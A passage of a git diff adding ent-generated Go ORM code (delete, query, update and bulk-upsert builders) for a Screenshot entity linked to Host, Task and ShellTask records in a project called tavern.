create. +func (u *ScreenshotUpsertBulk) UpdateContent() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateContent() + }) +} + +// ClearContent clears the value of the "content" field. +func (u *ScreenshotUpsertBulk) ClearContent() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.ClearContent() + }) +} + +// Exec executes the query. +func (u *ScreenshotUpsertBulk) Exec(ctx context.Context) error { + if u.create.err != nil { + return u.create.err + } + for i, b := range u.create.builders { + if len(b.conflict) != 0 { + return fmt.Errorf("ent: OnConflict was set for builder %d. Set it on the ScreenshotCreateBulk instead", i) + } + } + if len(u.create.conflict) == 0 { + return errors.New("ent: missing options for ScreenshotCreateBulk.OnConflict") + } + return u.create.Exec(ctx) +} + +// ExecX is like Exec, but panics if an error occurs. +func (u *ScreenshotUpsertBulk) ExecX(ctx context.Context) { + if err := u.create.Exec(ctx); err != nil { + panic(err) + } +} diff --git a/tavern/internal/ent/screenshot_delete.go b/tavern/internal/ent/screenshot_delete.go new file mode 100644 index 000000000..d69925fe5 --- /dev/null +++ b/tavern/internal/ent/screenshot_delete.go @@ -0,0 +1,88 @@ +// Code generated by ent, DO NOT EDIT. + +package ent + +import ( + "context" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" +) + +// ScreenshotDelete is the builder for deleting a Screenshot entity. +type ScreenshotDelete struct { + config + hooks []Hook + mutation *ScreenshotMutation +} + +// Where appends a list predicates to the ScreenshotDelete builder. +func (sd *ScreenshotDelete) Where(ps ...predicate.Screenshot) *ScreenshotDelete { + sd.mutation.Where(ps...) + return sd +} + +// Exec executes the deletion query and returns how many vertices were deleted. +func (sd *ScreenshotDelete) Exec(ctx context.Context) (int, error) { + return withHooks(ctx, sd.sqlExec, sd.mutation, sd.hooks) +} + +// ExecX is like Exec, but panics if an error occurs. +func (sd *ScreenshotDelete) ExecX(ctx context.Context) int { + n, err := sd.Exec(ctx) + if err != nil { + panic(err) + } + return n +} + +func (sd *ScreenshotDelete) sqlExec(ctx context.Context) (int, error) { + _spec := sqlgraph.NewDeleteSpec(screenshot.Table, sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt)) + if ps := sd.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + affected, err := sqlgraph.DeleteNodes(ctx, sd.driver, _spec) + if err != nil && sqlgraph.IsConstraintError(err) { + err = &ConstraintError{msg: err.Error(), wrap: err} + } + sd.mutation.done = true + return affected, err +} + +// ScreenshotDeleteOne is the builder for deleting a single Screenshot entity. +type ScreenshotDeleteOne struct { + sd *ScreenshotDelete +} + +// Where appends a list predicates to the ScreenshotDelete builder. +func (sdo *ScreenshotDeleteOne) Where(ps ...predicate.Screenshot) *ScreenshotDeleteOne { + sdo.sd.mutation.Where(ps...) + return sdo +} + +// Exec executes the deletion query. +func (sdo *ScreenshotDeleteOne) Exec(ctx context.Context) error { + n, err := sdo.sd.Exec(ctx) + switch { + case err != nil: + return err + case n == 0: + return &NotFoundError{screenshot.Label} + default: + return nil + } +} + +// ExecX is like Exec, but panics if an error occurs. +func (sdo *ScreenshotDeleteOne) ExecX(ctx context.Context) { + if err := sdo.Exec(ctx); err != nil { + panic(err) + } +} diff --git a/tavern/internal/ent/screenshot_query.go b/tavern/internal/ent/screenshot_query.go new file mode 100644 index 000000000..e6d1c89b1 --- /dev/null +++ b/tavern/internal/ent/screenshot_query.go @@ -0,0 +1,777 @@ +// Code generated by ent, DO NOT EDIT. + +package ent + +import ( + "context" + "fmt" + "math" + + "entgo.io/ent" + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "realm.pub/tavern/internal/ent/host" + "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" + "realm.pub/tavern/internal/ent/shelltask" + "realm.pub/tavern/internal/ent/task" +) + +// ScreenshotQuery is the builder for querying Screenshot entities. +type ScreenshotQuery struct { + config + ctx *QueryContext + order []screenshot.OrderOption + inters []Interceptor + predicates []predicate.Screenshot + withHost *HostQuery + withTask *TaskQuery + withShellTask *ShellTaskQuery + withFKs bool + modifiers []func(*sql.Selector) + loadTotal []func(context.Context, []*Screenshot) error + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Where adds a new predicate for the ScreenshotQuery builder. +func (sq *ScreenshotQuery) Where(ps ...predicate.Screenshot) *ScreenshotQuery { + sq.predicates = append(sq.predicates, ps...) + return sq +} + +// Limit the number of records to be returned by this query. +func (sq *ScreenshotQuery) Limit(limit int) *ScreenshotQuery { + sq.ctx.Limit = &limit + return sq +} + +// Offset to start from. +func (sq *ScreenshotQuery) Offset(offset int) *ScreenshotQuery { + sq.ctx.Offset = &offset + return sq +} + +// Unique configures the query builder to filter duplicate records on query. +// By default, unique is set to true, and can be disabled using this method. +func (sq *ScreenshotQuery) Unique(unique bool) *ScreenshotQuery { + sq.ctx.Unique = &unique + return sq +} + +// Order specifies how the records should be ordered. +func (sq *ScreenshotQuery) Order(o ...screenshot.OrderOption) *ScreenshotQuery { + sq.order = append(sq.order, o...) + return sq +} + +// QueryHost chains the current query on the "host" edge. +func (sq *ScreenshotQuery) QueryHost() *HostQuery { + query := (&HostClient{config: sq.config}).Query() + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := sq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := sq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(screenshot.Table, screenshot.FieldID, selector), + sqlgraph.To(host.Table, host.FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, screenshot.HostTable, screenshot.HostColumn), + ) + fromU = sqlgraph.SetNeighbors(sq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// QueryTask chains the current query on the "task" edge. +func (sq *ScreenshotQuery) QueryTask() *TaskQuery { + query := (&TaskClient{config: sq.config}).Query() + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := sq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := sq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(screenshot.Table, screenshot.FieldID, selector), + sqlgraph.To(task.Table, task.FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, screenshot.TaskTable, screenshot.TaskColumn), + ) + fromU = sqlgraph.SetNeighbors(sq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// QueryShellTask chains the current query on the "shell_task" edge. +func (sq *ScreenshotQuery) QueryShellTask() *ShellTaskQuery { + query := (&ShellTaskClient{config: sq.config}).Query() + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := sq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := sq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(screenshot.Table, screenshot.FieldID, selector), + sqlgraph.To(shelltask.Table, shelltask.FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, screenshot.ShellTaskTable, screenshot.ShellTaskColumn), + ) + fromU = sqlgraph.SetNeighbors(sq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// First returns the first Screenshot entity from the query. +// Returns a *NotFoundError when no Screenshot was found. +func (sq *ScreenshotQuery) First(ctx context.Context) (*Screenshot, error) { + nodes, err := sq.Limit(1).All(setContextOp(ctx, sq.ctx, ent.OpQueryFirst)) + if err != nil { + return nil, err + } + if len(nodes) == 0 { + return nil, &NotFoundError{screenshot.Label} + } + return nodes[0], nil +} + +// FirstX is like First, but panics if an error occurs. +func (sq *ScreenshotQuery) FirstX(ctx context.Context) *Screenshot { + node, err := sq.First(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return node +} + +// FirstID returns the first Screenshot ID from the query. +// Returns a *NotFoundError when no Screenshot ID was found. +func (sq *ScreenshotQuery) FirstID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = sq.Limit(1).IDs(setContextOp(ctx, sq.ctx, ent.OpQueryFirstID)); err != nil { + return + } + if len(ids) == 0 { + err = &NotFoundError{screenshot.Label} + return + } + return ids[0], nil +} + +// FirstIDX is like FirstID, but panics if an error occurs. +func (sq *ScreenshotQuery) FirstIDX(ctx context.Context) int { + id, err := sq.FirstID(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return id +} + +// Only returns a single Screenshot entity found by the query, ensuring it only returns one. +// Returns a *NotSingularError when more than one Screenshot entity is found. +// Returns a *NotFoundError when no Screenshot entities are found. +func (sq *ScreenshotQuery) Only(ctx context.Context) (*Screenshot, error) { + nodes, err := sq.Limit(2).All(setContextOp(ctx, sq.ctx, ent.OpQueryOnly)) + if err != nil { + return nil, err + } + switch len(nodes) { + case 1: + return nodes[0], nil + case 0: + return nil, &NotFoundError{screenshot.Label} + default: + return nil, &NotSingularError{screenshot.Label} + } +} + +// OnlyX is like Only, but panics if an error occurs. +func (sq *ScreenshotQuery) OnlyX(ctx context.Context) *Screenshot { + node, err := sq.Only(ctx) + if err != nil { + panic(err) + } + return node +} + +// OnlyID is like Only, but returns the only Screenshot ID in the query. +// Returns a *NotSingularError when more than one Screenshot ID is found. +// Returns a *NotFoundError when no entities are found. +func (sq *ScreenshotQuery) OnlyID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = sq.Limit(2).IDs(setContextOp(ctx, sq.ctx, ent.OpQueryOnlyID)); err != nil { + return + } + switch len(ids) { + case 1: + id = ids[0] + case 0: + err = &NotFoundError{screenshot.Label} + default: + err = &NotSingularError{screenshot.Label} + } + return +} + +// OnlyIDX is like OnlyID, but panics if an error occurs. +func (sq *ScreenshotQuery) OnlyIDX(ctx context.Context) int { + id, err := sq.OnlyID(ctx) + if err != nil { + panic(err) + } + return id +} + +// All executes the query and returns a list of Screenshots. +func (sq *ScreenshotQuery) All(ctx context.Context) ([]*Screenshot, error) { + ctx = setContextOp(ctx, sq.ctx, ent.OpQueryAll) + if err := sq.prepareQuery(ctx); err != nil { + return nil, err + } + qr := querierAll[[]*Screenshot, *ScreenshotQuery]() + return withInterceptors[[]*Screenshot](ctx, sq, qr, sq.inters) +} + +// AllX is like All, but panics if an error occurs. +func (sq *ScreenshotQuery) AllX(ctx context.Context) []*Screenshot { + nodes, err := sq.All(ctx) + if err != nil { + panic(err) + } + return nodes +} + +// IDs executes the query and returns a list of Screenshot IDs. +func (sq *ScreenshotQuery) IDs(ctx context.Context) (ids []int, err error) { + if sq.ctx.Unique == nil && sq.path != nil { + sq.Unique(true) + } + ctx = setContextOp(ctx, sq.ctx, ent.OpQueryIDs) + if err = sq.Select(screenshot.FieldID).Scan(ctx, &ids); err != nil { + return nil, err + } + return ids, nil +} + +// IDsX is like IDs, but panics if an error occurs. +func (sq *ScreenshotQuery) IDsX(ctx context.Context) []int { + ids, err := sq.IDs(ctx) + if err != nil { + panic(err) + } + return ids +} + +// Count returns the count of the given query. +func (sq *ScreenshotQuery) Count(ctx context.Context) (int, error) { + ctx = setContextOp(ctx, sq.ctx, ent.OpQueryCount) + if err := sq.prepareQuery(ctx); err != nil { + return 0, err + } + return withInterceptors[int](ctx, sq, querierCount[*ScreenshotQuery](), sq.inters) +} + +// CountX is like Count, but panics if an error occurs. +func (sq *ScreenshotQuery) CountX(ctx context.Context) int { + count, err := sq.Count(ctx) + if err != nil { + panic(err) + } + return count +} + +// Exist returns true if the query has elements in the graph. +func (sq *ScreenshotQuery) Exist(ctx context.Context) (bool, error) { + ctx = setContextOp(ctx, sq.ctx, ent.OpQueryExist) + switch _, err := sq.FirstID(ctx); { + case IsNotFound(err): + return false, nil + case err != nil: + return false, fmt.Errorf("ent: check existence: %w", err) + default: + return true, nil + } +} + +// ExistX is like Exist, but panics if an error occurs. +func (sq *ScreenshotQuery) ExistX(ctx context.Context) bool { + exist, err := sq.Exist(ctx) + if err != nil { + panic(err) + } + return exist +} + +// Clone returns a duplicate of the ScreenshotQuery builder, including all associated steps. It can be +// used to prepare common query builders and use them differently after the clone is made. +func (sq *ScreenshotQuery) Clone() *ScreenshotQuery { + if sq == nil { + return nil + } + return &ScreenshotQuery{ + config: sq.config, + ctx: sq.ctx.Clone(), + order: append([]screenshot.OrderOption{}, sq.order...), + inters: append([]Interceptor{}, sq.inters...), + predicates: append([]predicate.Screenshot{}, sq.predicates...), + withHost: sq.withHost.Clone(), + withTask: sq.withTask.Clone(), + withShellTask: sq.withShellTask.Clone(), + // clone intermediate query. + sql: sq.sql.Clone(), + path: sq.path, + } +} + +// WithHost tells the query-builder to eager-load the nodes that are connected to +// the "host" edge. The optional arguments are used to configure the query builder of the edge. +func (sq *ScreenshotQuery) WithHost(opts ...func(*HostQuery)) *ScreenshotQuery { + query := (&HostClient{config: sq.config}).Query() + for _, opt := range opts { + opt(query) + } + sq.withHost = query + return sq +} + +// WithTask tells the query-builder to eager-load the nodes that are connected to +// the "task" edge. The optional arguments are used to configure the query builder of the edge. +func (sq *ScreenshotQuery) WithTask(opts ...func(*TaskQuery)) *ScreenshotQuery { + query := (&TaskClient{config: sq.config}).Query() + for _, opt := range opts { + opt(query) + } + sq.withTask = query + return sq +} + +// WithShellTask tells the query-builder to eager-load the nodes that are connected to +// the "shell_task" edge. The optional arguments are used to configure the query builder of the edge. +func (sq *ScreenshotQuery) WithShellTask(opts ...func(*ShellTaskQuery)) *ScreenshotQuery { + query := (&ShellTaskClient{config: sq.config}).Query() + for _, opt := range opts { + opt(query) + } + sq.withShellTask = query + return sq +} + +// GroupBy is used to group vertices by one or more fields/columns. +// It is often used with aggregate functions, like: count, max, mean, min, sum. +// +// Example: +// +// var v []struct { +// CreatedAt time.Time `json:"created_at,omitempty"` +// Count int `json:"count,omitempty"` +// } +// +// client.Screenshot.Query(). +// GroupBy(screenshot.FieldCreatedAt). +// Aggregate(ent.Count()). +// Scan(ctx, &v) +func (sq *ScreenshotQuery) GroupBy(field string, fields ...string) *ScreenshotGroupBy { + sq.ctx.Fields = append([]string{field}, fields...) + grbuild := &ScreenshotGroupBy{build: sq} + grbuild.flds = &sq.ctx.Fields + grbuild.label = screenshot.Label + grbuild.scan = grbuild.Scan + return grbuild +} + +// Select allows the selection one or more fields/columns for the given query, +// instead of selecting all fields in the entity. +// +// Example: +// +// var v []struct { +// CreatedAt time.Time `json:"created_at,omitempty"` +// } +// +// client.Screenshot.Query(). +// Select(screenshot.FieldCreatedAt). +// Scan(ctx, &v) +func (sq *ScreenshotQuery) Select(fields ...string) *ScreenshotSelect { + sq.ctx.Fields = append(sq.ctx.Fields, fields...) + sbuild := &ScreenshotSelect{ScreenshotQuery: sq} + sbuild.label = screenshot.Label + sbuild.flds, sbuild.scan = &sq.ctx.Fields, sbuild.Scan + return sbuild +} + +// Aggregate returns a ScreenshotSelect configured with the given aggregations. +func (sq *ScreenshotQuery) Aggregate(fns ...AggregateFunc) *ScreenshotSelect { + return sq.Select().Aggregate(fns...) +} + +func (sq *ScreenshotQuery) prepareQuery(ctx context.Context) error { + for _, inter := range sq.inters { + if inter == nil { + return fmt.Errorf("ent: uninitialized interceptor (forgotten import ent/runtime?)") + } + if trv, ok := inter.(Traverser); ok { + if err := trv.Traverse(ctx, sq); err != nil { + return err + } + } + } + for _, f := range sq.ctx.Fields { + if !screenshot.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + } + if sq.path != nil { + prev, err := sq.path(ctx) + if err != nil { + return err + } + sq.sql = prev + } + return nil +} + +func (sq *ScreenshotQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Screenshot, error) { + var ( + nodes = []*Screenshot{} + withFKs = sq.withFKs + _spec = sq.querySpec() + loadedTypes = [3]bool{ + sq.withHost != nil, + sq.withTask != nil, + sq.withShellTask != nil, + } + ) + if sq.withHost != nil || sq.withTask != nil || sq.withShellTask != nil { + withFKs = true + } + if withFKs { + _spec.Node.Columns = append(_spec.Node.Columns, screenshot.ForeignKeys...) + } + _spec.ScanValues = func(columns []string) ([]any, error) { + return (*Screenshot).scanValues(nil, columns) + } + _spec.Assign = func(columns []string, values []any) error { + node := &Screenshot{config: sq.config} + nodes = append(nodes, node) + node.Edges.loadedTypes = loadedTypes + return node.assignValues(columns, values) + } + if len(sq.modifiers) > 0 { + _spec.Modifiers = sq.modifiers + } + for i := range hooks { + hooks[i](ctx, _spec) + } + if err := sqlgraph.QueryNodes(ctx, sq.driver, _spec); err != nil { + return nil, err + } + if len(nodes) == 0 { + return nodes, nil + } + if query := sq.withHost; query != nil { + if err := sq.loadHost(ctx, query, nodes, nil, + func(n *Screenshot, e *Host) { n.Edges.Host = e }); err != nil { + return nil, err + } + } + if query := sq.withTask; query != nil { + if err := sq.loadTask(ctx, query, nodes, nil, + func(n *Screenshot, e *Task) { n.Edges.Task = e }); err != nil { + return nil, err + } + } + if query := sq.withShellTask; query != nil { + if err := sq.loadShellTask(ctx, query, nodes, nil, + func(n *Screenshot, e *ShellTask) { n.Edges.ShellTask = e }); err != nil { + return nil, err + } + } + for i := range sq.loadTotal { + if err := sq.loadTotal[i](ctx, nodes); err != nil { + return nil, err + } + } + return nodes, nil +} + +func (sq *ScreenshotQuery) loadHost(ctx context.Context, query *HostQuery, nodes []*Screenshot, init func(*Screenshot), assign func(*Screenshot, *Host)) error { + ids := make([]int, 0, len(nodes)) + nodeids := make(map[int][]*Screenshot) + for i := range nodes { + if nodes[i].screenshot_host == nil { + continue + } + fk := *nodes[i].screenshot_host + if _, ok := nodeids[fk]; !ok { + ids = append(ids, fk) + } + nodeids[fk] = append(nodeids[fk], nodes[i]) + } + if len(ids) == 0 { + return nil + } + query.Where(host.IDIn(ids...)) + neighbors, err := query.All(ctx) + if err != nil { + return err + } + for _, n := range neighbors { + nodes, ok := nodeids[n.ID] + if !ok { + return fmt.Errorf(`unexpected foreign-key "screenshot_host" returned %v`, n.ID) + } + for i := range nodes { + assign(nodes[i], n) + } + } + return nil +} +func (sq *ScreenshotQuery) loadTask(ctx context.Context, query *TaskQuery, nodes []*Screenshot, init func(*Screenshot), assign func(*Screenshot, *Task)) error { + ids := make([]int, 0, len(nodes)) + nodeids := make(map[int][]*Screenshot) + for i := range nodes { + if nodes[i].task_screenshots == nil { + continue + } + fk := *nodes[i].task_screenshots + if _, ok := nodeids[fk]; !ok { + ids = append(ids, fk) + } + nodeids[fk] = append(nodeids[fk], nodes[i]) + } + if len(ids) == 0 { + return nil + } + query.Where(task.IDIn(ids...)) + neighbors, err := query.All(ctx) + if err != nil { + return err + } + for _, n := range neighbors { + nodes, ok := nodeids[n.ID] + if !ok { + return fmt.Errorf(`unexpected foreign-key "task_screenshots" returned %v`, n.ID) + } + for i := range nodes { + assign(nodes[i], n) + } + } + return nil +} +func (sq *ScreenshotQuery) loadShellTask(ctx context.Context, query *ShellTaskQuery, nodes []*Screenshot, init func(*Screenshot), assign func(*Screenshot, *ShellTask)) error { + ids := make([]int, 0, len(nodes)) + nodeids := make(map[int][]*Screenshot) + for i := range nodes { + if nodes[i].shell_task_screenshots == nil { + continue + } + fk := *nodes[i].shell_task_screenshots + if _, ok := nodeids[fk]; !ok { + ids = append(ids, fk) + } + nodeids[fk] = append(nodeids[fk], nodes[i]) + } + if len(ids) == 0 { + return nil + } + query.Where(shelltask.IDIn(ids...)) + neighbors, err := query.All(ctx) + if err != nil { + return err + } + for _, n := range neighbors { + nodes, ok := nodeids[n.ID] + if !ok { + return fmt.Errorf(`unexpected foreign-key "shell_task_screenshots" returned %v`, n.ID) + } + for i := range nodes { + assign(nodes[i], n) + } + } + return nil +} + +func (sq *ScreenshotQuery) sqlCount(ctx context.Context) (int, error) { + _spec := sq.querySpec() + if len(sq.modifiers) > 0 { + _spec.Modifiers = sq.modifiers + } + _spec.Node.Columns = sq.ctx.Fields + if len(sq.ctx.Fields) > 0 { + _spec.Unique = sq.ctx.Unique != nil && *sq.ctx.Unique + } + return sqlgraph.CountNodes(ctx, sq.driver, _spec) +} + +func (sq *ScreenshotQuery) querySpec() *sqlgraph.QuerySpec { + _spec := sqlgraph.NewQuerySpec(screenshot.Table, screenshot.Columns, sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt)) + _spec.From = sq.sql + if unique := sq.ctx.Unique; unique != nil { + _spec.Unique = *unique + } else if sq.path != nil { + _spec.Unique = true + } + if fields := sq.ctx.Fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, screenshot.FieldID) + for i := range fields { + if fields[i] != screenshot.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, fields[i]) + } + } + } + if ps := sq.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if limit := sq.ctx.Limit; limit != nil { + _spec.Limit = *limit + } + if offset := sq.ctx.Offset; offset != nil { + _spec.Offset = *offset + } + if ps := sq.order; len(ps) > 0 { + _spec.Order = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return _spec +} + +func (sq *ScreenshotQuery) sqlQuery(ctx context.Context) *sql.Selector { + builder := sql.Dialect(sq.driver.Dialect()) + t1 := builder.Table(screenshot.Table) + columns := sq.ctx.Fields + if len(columns) == 0 { + columns = screenshot.Columns + } + selector := builder.Select(t1.Columns(columns...)...).From(t1) + if sq.sql != nil { + selector = sq.sql + selector.Select(selector.Columns(columns...)...) + } + if sq.ctx.Unique != nil && *sq.ctx.Unique { + selector.Distinct() + } + for _, p := range sq.predicates { + p(selector) + } + for _, p := range sq.order { + p(selector) + } + if offset := sq.ctx.Offset; offset != nil { + // limit is mandatory for offset clause. We start + // with default value, and override it below if needed. + selector.Offset(*offset).Limit(math.MaxInt32) + } + if limit := sq.ctx.Limit; limit != nil { + selector.Limit(*limit) + } + return selector +} + +// ScreenshotGroupBy is the group-by builder for Screenshot entities. +type ScreenshotGroupBy struct { + selector + build *ScreenshotQuery +} + +// Aggregate adds the given aggregation functions to the group-by query. +func (sgb *ScreenshotGroupBy) Aggregate(fns ...AggregateFunc) *ScreenshotGroupBy { + sgb.fns = append(sgb.fns, fns...) + return sgb +} + +// Scan applies the selector query and scans the result into the given value. +func (sgb *ScreenshotGroupBy) Scan(ctx context.Context, v any) error { + ctx = setContextOp(ctx, sgb.build.ctx, ent.OpQueryGroupBy) + if err := sgb.build.prepareQuery(ctx); err != nil { + return err + } + return scanWithInterceptors[*ScreenshotQuery, *ScreenshotGroupBy](ctx, sgb.build, sgb, sgb.build.inters, v) +} + +func (sgb *ScreenshotGroupBy) sqlScan(ctx context.Context, root *ScreenshotQuery, v any) error { + selector := root.sqlQuery(ctx).Select() + aggregation := make([]string, 0, len(sgb.fns)) + for _, fn := range sgb.fns { + aggregation = append(aggregation, fn(selector)) + } + if len(selector.SelectedColumns()) == 0 { + columns := make([]string, 0, len(*sgb.flds)+len(sgb.fns)) + for _, f := range *sgb.flds { + columns = append(columns, selector.C(f)) + } + columns = append(columns, aggregation...) + selector.Select(columns...) + } + selector.GroupBy(selector.Columns(*sgb.flds...)...) + if err := selector.Err(); err != nil { + return err + } + rows := &sql.Rows{} + query, args := selector.Query() + if err := sgb.build.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} + +// ScreenshotSelect is the builder for selecting fields of Screenshot entities. +type ScreenshotSelect struct { + *ScreenshotQuery + selector +} + +// Aggregate adds the given aggregation functions to the selector query. +func (ss *ScreenshotSelect) Aggregate(fns ...AggregateFunc) *ScreenshotSelect { + ss.fns = append(ss.fns, fns...) + return ss +} + +// Scan applies the selector query and scans the result into the given value. +func (ss *ScreenshotSelect) Scan(ctx context.Context, v any) error { + ctx = setContextOp(ctx, ss.ctx, ent.OpQuerySelect) + if err := ss.prepareQuery(ctx); err != nil { + return err + } + return scanWithInterceptors[*ScreenshotQuery, *ScreenshotSelect](ctx, ss.ScreenshotQuery, ss, ss.inters, v) +} + +func (ss *ScreenshotSelect) sqlScan(ctx context.Context, root *ScreenshotQuery, v any) error { + selector := root.sqlQuery(ctx) + aggregation := make([]string, 0, len(ss.fns)) + for _, fn := range ss.fns { + aggregation = append(aggregation, fn(selector)) + } + switch n := len(*ss.selector.flds); { + case n == 0 && len(aggregation) > 0: + selector.Select(aggregation...) + case n != 0 && len(aggregation) > 0: + selector.AppendSelect(aggregation...) + } + rows := &sql.Rows{} + query, args := selector.Query() + if err := ss.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} diff --git a/tavern/internal/ent/screenshot_update.go b/tavern/internal/ent/screenshot_update.go new file mode 100644 index 000000000..dbeda5aca --- /dev/null +++ b/tavern/internal/ent/screenshot_update.go @@ -0,0 +1,763 @@ +// Code generated by ent, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + "time" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "realm.pub/tavern/internal/ent/host" + "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" + "realm.pub/tavern/internal/ent/shelltask" + "realm.pub/tavern/internal/ent/task" +) + +// ScreenshotUpdate is the builder for updating Screenshot entities. +type ScreenshotUpdate struct { + config + hooks []Hook + mutation *ScreenshotMutation +} + +// Where appends a list predicates to the ScreenshotUpdate builder. +func (su *ScreenshotUpdate) Where(ps ...predicate.Screenshot) *ScreenshotUpdate { + su.mutation.Where(ps...) + return su +} + +// SetLastModifiedAt sets the "last_modified_at" field. +func (su *ScreenshotUpdate) SetLastModifiedAt(t time.Time) *ScreenshotUpdate { + su.mutation.SetLastModifiedAt(t) + return su +} + +// SetName sets the "name" field. +func (su *ScreenshotUpdate) SetName(s string) *ScreenshotUpdate { + su.mutation.SetName(s) + return su +} + +// SetNillableName sets the "name" field if the given value is not nil. +func (su *ScreenshotUpdate) SetNillableName(s *string) *ScreenshotUpdate { + if s != nil { + su.SetName(*s) + } + return su +} + +// SetSize sets the "size" field. +func (su *ScreenshotUpdate) SetSize(u uint64) *ScreenshotUpdate { + su.mutation.ResetSize() + su.mutation.SetSize(u) + return su +} + +// SetNillableSize sets the "size" field if the given value is not nil. +func (su *ScreenshotUpdate) SetNillableSize(u *uint64) *ScreenshotUpdate { + if u != nil { + su.SetSize(*u) + } + return su +} + +// AddSize adds u to the "size" field. +func (su *ScreenshotUpdate) AddSize(u int64) *ScreenshotUpdate { + su.mutation.AddSize(u) + return su +} + +// SetHash sets the "hash" field. +func (su *ScreenshotUpdate) SetHash(s string) *ScreenshotUpdate { + su.mutation.SetHash(s) + return su +} + +// SetNillableHash sets the "hash" field if the given value is not nil. +func (su *ScreenshotUpdate) SetNillableHash(s *string) *ScreenshotUpdate { + if s != nil { + su.SetHash(*s) + } + return su +} + +// ClearHash clears the value of the "hash" field. +func (su *ScreenshotUpdate) ClearHash() *ScreenshotUpdate { + su.mutation.ClearHash() + return su +} + +// SetContent sets the "content" field. +func (su *ScreenshotUpdate) SetContent(b []byte) *ScreenshotUpdate { + su.mutation.SetContent(b) + return su +} + +// ClearContent clears the value of the "content" field. +func (su *ScreenshotUpdate) ClearContent() *ScreenshotUpdate { + su.mutation.ClearContent() + return su +} + +// SetHostID sets the "host" edge to the Host entity by ID. +func (su *ScreenshotUpdate) SetHostID(id int) *ScreenshotUpdate { + su.mutation.SetHostID(id) + return su +} + +// SetHost sets the "host" edge to the Host entity. +func (su *ScreenshotUpdate) SetHost(h *Host) *ScreenshotUpdate { + return su.SetHostID(h.ID) +} + +// SetTaskID sets the "task" edge to the Task entity by ID. +func (su *ScreenshotUpdate) SetTaskID(id int) *ScreenshotUpdate { + su.mutation.SetTaskID(id) + return su +} + +// SetNillableTaskID sets the "task" edge to the Task entity by ID if the given value is not nil. +func (su *ScreenshotUpdate) SetNillableTaskID(id *int) *ScreenshotUpdate { + if id != nil { + su = su.SetTaskID(*id) + } + return su +} + +// SetTask sets the "task" edge to the Task entity. +func (su *ScreenshotUpdate) SetTask(t *Task) *ScreenshotUpdate { + return su.SetTaskID(t.ID) +} + +// SetShellTaskID sets the "shell_task" edge to the ShellTask entity by ID. +func (su *ScreenshotUpdate) SetShellTaskID(id int) *ScreenshotUpdate { + su.mutation.SetShellTaskID(id) + return su +} + +// SetNillableShellTaskID sets the "shell_task" edge to the ShellTask entity by ID if the given value is not nil. +func (su *ScreenshotUpdate) SetNillableShellTaskID(id *int) *ScreenshotUpdate { + if id != nil { + su = su.SetShellTaskID(*id) + } + return su +} + +// SetShellTask sets the "shell_task" edge to the ShellTask entity. +func (su *ScreenshotUpdate) SetShellTask(s *ShellTask) *ScreenshotUpdate { + return su.SetShellTaskID(s.ID) +} + +// Mutation returns the ScreenshotMutation object of the builder. +func (su *ScreenshotUpdate) Mutation() *ScreenshotMutation { + return su.mutation +} + +// ClearHost clears the "host" edge to the Host entity. +func (su *ScreenshotUpdate) ClearHost() *ScreenshotUpdate { + su.mutation.ClearHost() + return su +} + +// ClearTask clears the "task" edge to the Task entity. +func (su *ScreenshotUpdate) ClearTask() *ScreenshotUpdate { + su.mutation.ClearTask() + return su +} + +// ClearShellTask clears the "shell_task" edge to the ShellTask entity. +func (su *ScreenshotUpdate) ClearShellTask() *ScreenshotUpdate { + su.mutation.ClearShellTask() + return su +} + +// Save executes the query and returns the number of nodes affected by the update operation. +func (su *ScreenshotUpdate) Save(ctx context.Context) (int, error) 